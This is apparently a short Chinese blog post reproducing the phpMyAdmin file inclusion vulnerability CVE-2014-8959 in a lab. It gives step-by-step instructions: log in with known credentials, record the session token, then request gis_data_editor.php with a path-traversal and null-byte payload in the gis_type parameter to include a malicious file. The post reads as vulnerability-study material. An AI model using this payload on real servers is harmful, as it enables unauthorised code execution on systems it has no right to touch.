phpmyadmin-文件包含(CVE-2014-8959)

最新推荐文章于 2024-01-26 08:46:38 发布

慕筱蚺

最新推荐文章于 2024-01-26 08:46:38 发布

阅读量580

点赞数 7

文章标签：数据库安全

本文链接：https://blog.csdn.net/m0_65150886/article/details/135333952

版权

文章揭示了一个phpmyadmin中的文件包含漏洞，可通过二次编码绕过检查，允许用户包含根目录下的恶意文件。详细介绍了使用已知MySQL凭证登录、截断漏洞配合及构造URL来重现该漏洞的过程。

摘要由CSDN通过智能技术生成

漏洞描述：

其index.php中存在一处文件包含逻辑，通过二次编码即可绕过检查，造成远程文件包含漏洞

1.已知MySQL用户名和密码登录到phpmyadmin

2.需要截断漏洞配合才能任意包含

3、包含根目录下1.gif等恶意文件

1.访问ip：port

2.访问登陆页面

/pma/gis_data_editor.php

用户名密码登陆pmatest/pmatest （phpMyAdmin）

3.进入以后

记录token

4.构造URL，成功执行文件包含

http://ip:port/pma/gis_data_editor.php?token=a4fac8c22ed7b4ceef5f4357f4846d2d&&gis_data[gis_type]=/../../../../1.gif%00

关注